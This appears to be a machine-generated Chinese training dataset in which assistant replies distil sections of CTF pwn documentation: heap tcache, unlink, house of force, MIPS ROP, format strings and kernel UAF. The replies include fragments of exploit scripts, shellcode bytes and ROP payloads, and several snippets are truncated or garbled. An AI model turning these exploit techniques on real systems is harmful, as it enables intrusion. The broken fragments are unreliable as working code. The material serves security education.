- 本节主题围绕“漏洞利用：ldt\_struct 直接读取 initramfs 内容”展开。
- 既然题目中已经直接白给出了一个无限制的 UAF，那么利用方式就是多种多样的了 :-D 这里笔者选择利用 ldt_struct 直接在内存空间中搜索 flag 的方式解题。

关键术语：
- UAF
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

漏洞利用：ldt\_struct 直接读取 initramfs 内容

在内存中直接搜索 flag
例题：RWCTF2023体验赛 - Digging into kernel 3
漏洞利用：ldt\_struct 直接读取 initramfs 内容

UAF 漏洞利用 pwn linux kernel-mode exploitation

在内存中直接搜索 flag


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「libc 2.26 tcache 利用方法」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`
标题：tcache makes heap exploitation easy again
章节：from pwn import * > Challenge 3 : 2014 HITCON stkof > libc 2.26 tcache 利用方法
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“libc 2.26 tcache 利用方法”展开。
- 本题可以溢出较长字节，因此可以覆盖 chunk 的 fd 指针，在 libc 2.26 之后的 tcache 机制中，未对 fd 指针指向的 chunk 进行 size 检查，从而可以将 fd 指针覆盖任意地址。
- = ptr_addr_length): break if len(ptr_addr) !

关键术语：
- 边界/溢出
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:python

代码/命令片段线索：
- python: 126 行，首行 `from pwn import *`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

libc 2.26 tcache 利用方法

from pwn import *
Challenge 3 : 2014 HITCON stkof
libc 2.26 tcache 利用方法

边界/溢出 堆 AI安全 漏洞利用 pwn linux user-mode heap code:python


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「地址泄露」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`
标题：tcache makes heap exploitation easy again
章节：define TCACHE_FILL_COUNT 7 > 0x05 The pwn of CTF > Challenge 1 : LCTF2018 PWN easy_heap > 利用步骤 > 地址泄露
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“地址泄露”展开。
- 此时的堆已经出现交叉了，接下来将 A 大小从 unsorted bin 中分配出来，就可以使得 libc 地址落入 B 中：
- ```python # step 3: leak, fill up for i in range(7): new(0x10, str(i) + ' - tcache') new(0x10, '8 - fillup')
- libc_leak = u64(show(0).strip().ljust(8, '\x00')) p.info('libc leak {}'.format(hex(libc_leak))) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc.address = libc_leak - 0x3ebca0 ```
- `` +-----+ | | <-- tcache perthread 结构体 +-----+ | ... | <-- 6 个 tcache 块 (free) +-----+ | A | <-- 已分配 +-----+ | B | <-- 已分配 --------+> 一个大 free 块 +-----+ | | C | <-- free | +-----+ --------+ | | <-- tcache 块，防止 top 合并 (free) +-----+ | top | | .. | ``

关键术语：
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:python

代码/命令片段线索：
- python: 8 行，首行 `# step 3: leak, fill up`
- plain: 15 行，首行 `+-----+`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

地址泄露

define TCACHE_FILL_COUNT 7
0x05 The pwn of CTF
Challenge 1 : LCTF2018 PWN easy_heap
利用步骤
地址泄露

堆 漏洞利用 pwn linux user-mode heap code:python


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「arena」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`
标题：申请内存块
章节：申请内存块 > _int_malloc > arena
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“arena”展开。
- Fall back to sysmalloc to get a chunk from mmap. / if (__glibc_unlikely(av == NULL)) { void *p = sysmalloc(nb, av);
- ``c++ / There are no usable arenas.
- = NULL) alloc_perturb(p, bytes);

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap
- code:c++

代码/命令片段线索：
- c++: 7 行，首行 `/* There are no usable arenas. Fall back to sysmalloc to get a chunk from`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

arena

申请内存块


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「IO 缓冲区问题分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`
标题：Unlink
章节：触发 system('/bin/sh') > 2014 HITCON stkof > IO 缓冲区问题分析
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“IO 缓冲区问题分析”展开。
- ` pwndbg> heap Top Chunk: 0x1e9b010 Last Remainder: 0 0x1e9a000 PREV_INUSE { prev_size = 0, size = 4113, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x1e9b010 PREV_INUSE { prev_size = 0, size = 135153, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, b...
- 具体如下，可以进行调试查看 初次调用 fgets 时，malloc 会分配缓冲区 1024 大小。
- 值得注意的是，由于程序本身没有进行 setbuf 操作，所以在执行输入输出操作的时候会申请缓冲区。
- 但是，比较有意思的是，如果我们是 attach 上去的话，第一个缓冲区分配的大小为 4096 大小。
- 这里经过测试，会申请两个缓冲区，分别大小为 1024 和 1024。

关键术语：
- 边界/溢出
- 堆
- AI安全
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 30 行，首行 `*RAX 0x0`
- plain: 19 行，首行 `pwndbg> heap`
- plain: 27 行，首行 `pwndbg> heap`
- plain: 30 行，首行 `*RAX 0x0`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

IO 缓冲区问题分析

触发 system('/bin/sh')
2014 HITCON stkof
IO 缓冲区问题分析

Unlink


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「构造 fake chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`
标题：Unlink
章节：构造 fake chunk
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“构造 fake chunk”展开。
- fake_chunk = p64(0) # prev_size fake_chunk += p64(0x41) # size (0x40 + 0x1, PREV_INUSE=1) fake_chunk += p64(ptr - 0x18) # fd fake_chunk += p64(ptr - 0x10) # bk fake_chunk += b"c" * 0x20 # 填充到 chunk0 数据区末尾 fake_chunk += p64(0x40) # 覆盖 chunk1 的 prev_size fake...
- print("[*] Step 3: Triggering overflow and unlink...") change(0, 0x80, fake_chunk) remove(1) # 触发 unlink

关键术语：
- 边界/溢出
- 堆
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

构造 fake chunk

Unlink


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/browser/chrome/js-engine/turbofan.md` 中的章节「TurboFan JIT Compiler」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/browser/chrome/js-engine/turbofan.md`
标题：TurboFan JIT Compiler
章节：TurboFan JIT Compiler
路径分类：pwn / pwn/browser/chrome
分块：1/1

核心知识点：
- 本节主题围绕“TurboFan JIT Compiler”展开。
- 对于全量代码编译的场景，大部分代码可能就执行一到两次，那么这个这个时候使用解释执行的方式去运行 JavaScript 代码的效率是比传统的 JIT 编译运行是要高的，但当一段代码需要被反复多次执行时，使用 JIT 编译的方式去运行的整体销量就比解释执行要高了——由此我们编有 V8 的 JIT compiler：TurboFan Compiler ，当一段代码被反复执行多次、或是手动指定要编译时，Ignition 便会将 bytecode 传递给 TurboFan，由其进行 JIT 编译生成对应架构的机器码 [...

关键术语：
- pwn
- browser
- chrome
- js-engine

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

TurboFan JIT Compiler

TurboFan JIT Compiler


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/qemu/basic-knowledge/dev.md` 中的章节「REFERENCE」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/qemu/basic-knowledge/dev.md`
标题：QEMU 设备模拟
章节：QEMU 设备模拟 > REFERENCE
路径分类：pwn / pwn/virtualization/qemu
分块：1/1

核心知识点：
- 本节主题围绕“REFERENCE”展开。
- 《QEMU/KVM 源码解析与应用》——李强 著 【HARDWARE.0x00】PCI 设备简易食用手册 【VIRT.0x02】系统虚拟化导论

关键术语：
- pwn
- virtualization
- qemu
- basic-knowledge

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

REFERENCE

QEMU 设备模拟


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/mips/rop.md` 中的章节「.text:00125698 jalr $t9」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/mips/rop.md`
标题：mips - ROP
章节：.text:00125698 jalr $t9
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“.text:00125698 jalr $t9”展开。
- shellcode = b"" shellcode += b"\xff\xff\x06\x28" # slti $a2, $zero, -1 shellcode += b"\x62\x69\x0f\x3c" # lui $t7, 0x6962 shellcode += b"\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f shellcode += b"\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp) shellcode += b"\x73\x68\x0...
- pay = b'' pay += b'a'508 pay += p32(set_s2_addr+libc_base) pay += b'b'24 pay += b'1111' #s0 pay += b'2222' #s1 pay += p32(jr_t9_jr_ra+libc_base) #s2 - > set a0 pay += p32(sleep+libc_base) #s3 pay += b'5555' #s4 pay += p32(jr_a1+libc_base) #s5 pay += b'7777'...
- log.info(hex(0x94A10+libc_base)) log.info('addiu_a0_sp_24: {}'.format(hex(addiu_a1_sp+libc_base))) with open('payload','wb') as f: f.write(pay)

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

.text:00125698 jalr $t9

mips - ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「内存释放基本算法」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`
标题：基础知识
章节：基础知识 > 内存管理 > 二、Pool Memory（before 19H1） > 内存释放基本算法
路径分类：pwn / pwn/windows/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“内存释放基本算法”展开。
- 在 Chunk header 当中存放着该 Chunk 所属的 Pool Type & Index，因此释放时可以直接判断归属的 Pool 与对应的 List，具体释放流程如下： - 首先检查该 Chunk 是否为页的第一个 Chunk （页对齐），若是则尝试调用 nt!
- ExDeferredFreePool 函数清空 PendingFrees List） - 检查相邻低地址、高地址 Chunk 状态，合并空闲块，需要注意这里 _不会与下一张内存页的头部 Chunk 合并_ - 最后检查该 Chunk 所在 Page 是否为空闲页，若是则调用 nt!
- 池内存的释放核心函数是 ExFreePoolWithTag( PVOID Entry, ULONG Tag) ，内核组件与驱动通常通过该 API 或是更上层的 Wrapper 完成内核中的内存释放请求。
- MiFreePoolPages() 进行回收，否则放回对应的 ListHeads 链表
- MiFreePoolPages() 进行回收，成功则直接返回 - 接下来检查物理相邻高地址 Chunk 的 PrevSize 是否与该 Chunk header 记录的 Size 相等，若否会报错 - 如果 Size 小于某个特定值，尝试放回相应的 Lookaside List 中 - 如果对应的 Pool 设置了 DELAY_FREE 标志位，放回 PendingFrees List（如果PendingFreeDepth 大于某个特定值，会先调用 nt!

关键术语：
- pwn
- windows
- kernel-mode
- basic-knowledge

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

内存释放基本算法

基础知识
内存管理
二、Pool Memory（before 19H1）
内存释放基本算法

基础知识


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md` 中的章节「tcache_put()」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md`
标题：tcache
章节：define TCACHE_MAX_BINS 64 > 源码分析 > tcache_put()
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“tcache_put()”展开。
- source code ``C / Caller must ensure that we know tc_idx is valid and there's room for more chunks. / static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry e = (tcache_entry ) chunk2mem (chunk);
- } ` tcache_puts() 完成了把释放的 chunk 插入到 tcache->entries[tc_idx]` 链表头部的操作，也几乎没有任何保护。
- assert (tc_idx < TCACHE_MAX_BINS);
- ++(tcache->counts[tc_idx]);
- e->next = tcache->entries[tc_idx];

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- C: 11 行，首行 `/* Caller must ensure that we know tc_idx is valid and there's room`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

tcache_put()

define TCACHE_MAX_BINS 64
源码分析
tcache_put()

tcache


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic.md` 中的章节「介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic.md`
标题：栈溢出原理
章节：栈溢出原理 > 介绍
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“介绍”展开。
- 这种问题是一种特定的缓冲区溢出漏洞，类似的还有堆溢出，bss 段溢出等溢出方式。
- 栈溢出漏洞轻则可以使程序崩溃，重则可以使攻击者控制程序执行流程。
- 栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数，因而导致与其相邻的栈中的变量的值被改变。
- 此外，我们也不难发现，发生栈溢出的基本前提是： - 程序必须向栈上写入数据。

关键术语：
- 边界/溢出
- 堆
- 栈
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

介绍

边界/溢出 堆 栈 漏洞利用 pwn linux user-mode stackoverflow

栈溢出原理


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/introduction.md` 中的章节「Reference」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/introduction.md`
标题：简介
章节：简介 > Reference
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“Reference”展开。
- https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/
- https://arttnba3.cn/2023/02/24/OS-0X04-LINUX-KERNEL-MEMORY-6.2-PART-III/
- https://kernel.org/doc/html/v5.4/admin-guide/cgroup-v1/memory.html
- https://github.com/torvalds/linux/commit/10befea91b61c4e2c2d1df06a2e978d182fcf792
- https://github.com/torvalds/linux/commit/494c1dfe855ec1f70f89552fce5eadf4a1717552

关键术语：
- 堆
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Reference

简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md` 中的章节「利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md`
标题：House Of Force
章节：top chunk's offset to heap base > 2016 BCTF bcloud > 利用
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 2. 利用 house of force 将 top chunk 分配至全局的 0x0804B0A0 的 &notesize-8 处，当再次申请内存时，便返回notesize地址处的内存，从而我们就可以控制所有note的大小以及对应的地址了。
- 3. 修改前三个 note 的大小为16，并修改其指针为 free@got，atoi@got，atoi@got 4. 将 free@got 修改为 puts@plt。
- 6. 再次修改另外一个 atoi got 项为 system 地址，从而拿到shell。

关键术语：
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:python

代码/命令片段线索：
- python: 74 行，首行 `from pwn import *`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

利用

top chunk's offset to heap base
2016 BCTF bcloud
利用

堆 AI安全 漏洞利用 pwn linux user-mode heap code:python

House Of Force


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「思路1 - 直接控制重定位表项的相关内容」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：ret2dlresolve > 原理 > 思路1 - 直接控制重定位表项的相关内容
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“思路1 - 直接控制重定位表项的相关内容”展开。
- 但是，假如我们可以控制程序执行流，那我们就可以伪造合适的重定位偏移，从而达到调用目标函数的目的。
- 然而，这种方法比较麻烦，因为我们不仅需要伪造重定位表项，符号信息和字符串信息，而且我们还需要确保动态链接器在解析的过程中不会出错。
- 此外，类似地，我们可以发现动态符号表、重定位表项都是只读的。
- 因此，一个很自然的想法是直接修改动态字符串表 .dynstr，比如把某个函数在字符串表中对应的字符串修改为目标函数对应的字符串。
- 由于动态链接器最后在解析符号的地址时，是依据符号的名字进行解析的。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

思路1 - 直接控制重定位表项的相关内容

ret2dlresolve
原理
思路1 - 直接控制重定位表项的相关内容

边界/溢出 栈 ROP/JOP pwn linux user-mode stackoverflow

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md` 中的章节「Final Exploitation」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md`
标题：Page-level UAF
章节：Page-level UAF > 例题：D^3CTF2023 - d3kcache > 漏洞利用 > Final Exploitation
路径分类：pwn / pwn/linux/kernel-mode
分块：3/8

核心知识点：
- 本节主题围绕“Final Exploitation”展开。
- } if (alloc_page(PGV_8PAGES_START_IDX + i, 0x1000 8, 1) < 0) { printf("[x] failed to create %d socket for pages spraying!
- } / a pipe_buffer on 1k is for 16 pages, so 4k for 64 pages / if (fcntl(pipe_fd[start_idx + i][1], F_SETPIPE_SZ, 0x1000 64) < 0) { printf("[x] failed to extend %d pipe!
- } / V - FIRST exploit stage - cross-cache overflow to make page-level UAF / void corrupting_first_level_pipe_for_page_uaf(void) { char buf[0x1000];
- i ++) { if (pipe(pipe_fd[i]) < 0) { printf("[x] failed to alloc %d pipe!
- if (extend_pipe_buffer_to_4k(0, PIPE_SPRAY_NUM / 2) < 0) { err_exit("FAILED to extend pipe!

关键术语：
- UAF
- 边界/溢出
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Final Exploitation

UAF 边界/溢出 堆 AI安全 漏洞利用 pwn linux kernel-mode exploitation

Page-level UAF


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md` 中的章节「覆盖小数字」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md`
标题：利用
章节：利用 > 覆盖内存 > 覆盖任意地址内存 > 覆盖小数字
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“覆盖小数字”展开。
- > 或许我们可以使用整形溢出来修改对应的地址的值，但是这样将面临着我们得一次输出大量的内容。
- 利用ida可以得到a的地址为0x0804A024（由于a、b是已初始化的全局变量，因此不在堆栈中）。
- 由于我们想要把2写到对应的地址处，故而格式化字符串的前面的字节必须是 ``text aa%k$nxx ` 此时对应的存储的格式化字符串已经占据了6个字符的位置，如果我们再添加两个字符aa，那么其实aa%k就是第6个参数，$nxx其实就是第7个参数，后面我们如果跟上我们要覆盖的地址，那就是第8个参数，所以如果我们这里设置k为8，其实就可以覆盖了。
- `` 其实，这里我们需要掌握的小技巧就是，我们没有必要把地址放在最前面，放在哪里都可以，只要我们可以找到其对应的偏移即可。
- 类似的，我们把地址放在中间，只要能够找到对应的偏移，其照样也可以得到对应的数值。

关键术语：
- 边界/溢出
- 堆
- 栈
- 漏洞利用
- pwn
- linux
- user-mode
- fmtstr
- code:text
- code:asm
- code:python
- code:shell

代码/命令片段线索：
- text: 1 行，首行 `aa%k$nxx`
- asm: 2 行，首行 `.data:0804A024 public a`
- python: 7 行，首行 `def fora():`
- shell: 5 行，首行 `➜ overwrite git:(master) ✗ python exploit.py`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

覆盖小数字

利用 覆盖内存 覆盖任意地址内存 覆盖小数字

边界/溢出 堆 栈 漏洞利用 pwn linux user-mode fmtstr code:text code:asm code:python code:shell

利用


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-uaf.md` 中的章节「漏洞利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-uaf.md`
标题：Cross-Cache UAF
章节：Cross-Cache UAF > 例题： kbook > 漏洞利用
路径分类：pwn / pwn/linux/kernel-mode
分块：2/2

核心知识点：
- 本节主题围绕“漏洞利用”展开。
- Z, 0x1000 32) < 0) { perror("failed to reset pipe_size");
- j++) { if (set_page(bookshelf[i], j)) { err_exit("FAILED at setting the page for book!
- } if (read(bookshelf[i], buf, 0x100) < 0) { err_exit("FAILED at reading the book!
- } } } out: if (book_idx < 0 || page_idx < 0) { err_exit("FAILED to transfer UAF to pipe_buffer!
- printf("\033[32m\033[1m[] Successfully make UAF on pipe_buffer with " "book \033[0m%d\033[32m\033[1m, page \033[0m%d\n", book_idx, page_idx);

关键术语：
- UAF
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

漏洞利用

UAF 堆 AI安全 漏洞利用 pwn linux kernel-mode exploitation

Cross-Cache UAF